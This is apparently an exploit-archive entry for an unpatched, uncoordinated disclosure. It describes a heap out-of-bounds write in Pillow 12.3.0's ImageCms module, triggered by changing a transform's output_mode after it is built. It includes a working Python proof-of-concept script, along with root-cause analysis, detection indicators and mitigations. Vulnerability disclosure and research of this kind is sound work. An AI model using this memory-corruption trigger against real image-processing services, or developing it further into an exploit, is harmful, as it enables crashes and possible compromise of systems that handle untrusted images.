PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

Pillow ImageCms Mutable output_mode Heap OOB Write

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
binary
Affected product
Pillow (Python Imaging Library fork), PIL.ImageCms module
Affected versions
12.3.0 (verified); build with LittleCMS2 support enabled
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorybinary
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagspillow, imagecms, littlecms, heap-overflow, oob-write, python, image-processing, memory-corruption
RelatedN/A

Affected Target

FieldValue
Software / SystemPillow (Python Imaging Library fork), PIL.ImageCms module
Versions Affected12.3.0 (verified); build with LittleCMS2 support enabled
Language / PlatformPython (calls into C extension _imagingcms)
Authentication RequiredNo
Network Access RequiredNo

Summary

Pillow’s ImageCms.buildTransform() creates a reusable LittleCMS-backed transform object and stores mutable input_mode/output_mode attributes on the Python wrapper. ImageCmsTransform.apply() trusts these mutable attributes both to validate image modes and to allocate the destination buffer, while the underlying C transform still operates using the original LittleCMS format it was built with. By mutating transform.output_mode from RGBA to L after the transform is built (e.g. from RGBRGBA) and then calling the normal high-level ImageCms.applyTransform() API, the destination image is allocated far smaller (1 byte per pixel) than what the native auxiliary-channel copy routine writes (4 bytes per pixel), producing a heap out-of-bounds write inside _imagingcms.c. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

ImageCms.py keeps mutable input_mode/output_mode attributes on the Python transform wrapper and uses them both for mode validation and destination buffer allocation, while the C extension (_imagingcms.c) derives its copy stride/offsets from the immutable LittleCMS transform format created at build time. The two states can diverge, and the native code never re-validates the destination buffer size against the actual transform output format.

Attack Vector

  1. Build an ImageCms transform from RGB to RGBA via ImageCms.buildTransform().
  2. Create a 64x64 RGB source image.
  3. Mutate the transform wrapper’s output_mode attribute from RGBA to L (smaller pixel size).
  4. Call the standard high-level ImageCms.applyTransform(source, transform) API.
  5. Pillow allocates the destination image sized for L (1 byte/pixel) while the native pyCMScopyAux() copies auxiliary channel bytes using the original 4-byte/pixel RGBA layout, writing past the allocated heap buffer.

Impact

Heap out-of-bounds write reachable from ordinary Python API calls against a stock Pillow build with LittleCMS2 enabled. Depending on heap layout, this manifests as a crash (heap metadata corruption / process abort) and is a plausible primitive for further memory-corruption exploitation in processes that use Pillow to handle untrusted images with color management transforms.


Environment / Lab Setup

Target:   Pillow 12.3.0 built with LittleCMS2 (_imagingcms) support
Attacker: Python 3.10+, stock Pillow 12.3.0 install (optionally built under AddressSanitizer for confirmation)

Proof of Concept

PoC Script

See poc.py in this folder.

1
python poc.py

The script builds an sRGB RGBRGBA ImageCms transform, creates a 64x64 RGB source image, mutates transform.output_mode to L, and calls ImageCms.applyTransform(). On a stock build this aborts with a heap allocator error; under AddressSanitizer it reports a heap-buffer-overflow write of size 1 in pyCMScopyAux inside _imagingcms.c.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected process crashes or aborts in applications that process untrusted images through PIL.ImageCms transforms
  • Heap corruption / allocator abort signatures traced back to _imagingcms.c (pyCMScopyAux, pyCMSdoTransform)
  • Anomalous output_mode mutation on ImageCmsTransform objects in application code paths that accept attacker-influenced parameters

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationDo not mutate input_mode/output_mode on ImageCmsTransform objects after construction; validate destination buffer size against the transform’s actual LittleCMS output format before calling apply()/applyTransform(); run untrusted-image processing pipelines in a sandboxed/isolated process

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: pillow-imagecms-output-mode-oob-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import faulthandler

from PIL import Image, ImageCms, features


def main():
    faulthandler.enable()

    print(f"Pillow={Image.__version__} littlecms2={features.check_module('littlecms2')}", flush=True)

    profile = ImageCms.createProfile("sRGB")
    transform = ImageCms.buildTransform(profile, profile, "RGB", "RGBA")
    source = Image.new("RGB", (64, 64), (1, 2, 3))

    print(f"before mutation: input_mode={transform.input_mode!r} output_mode={transform.output_mode!r}", flush=True)
    transform.output_mode = "L"
    print(f"after mutation: input_mode={transform.input_mode!r} output_mode={transform.output_mode!r}", flush=True)
    print("calling ImageCms.applyTransform", flush=True)

    ImageCms.applyTransform(source, transform)

    print("returned from ImageCms.applyTransform", flush=True)

    for _ in range(128):
        ImageCms.createProfile("sRGB").tobytes()

    print("completed allocator churn", flush=True)


if __name__ == "__main__":
    main()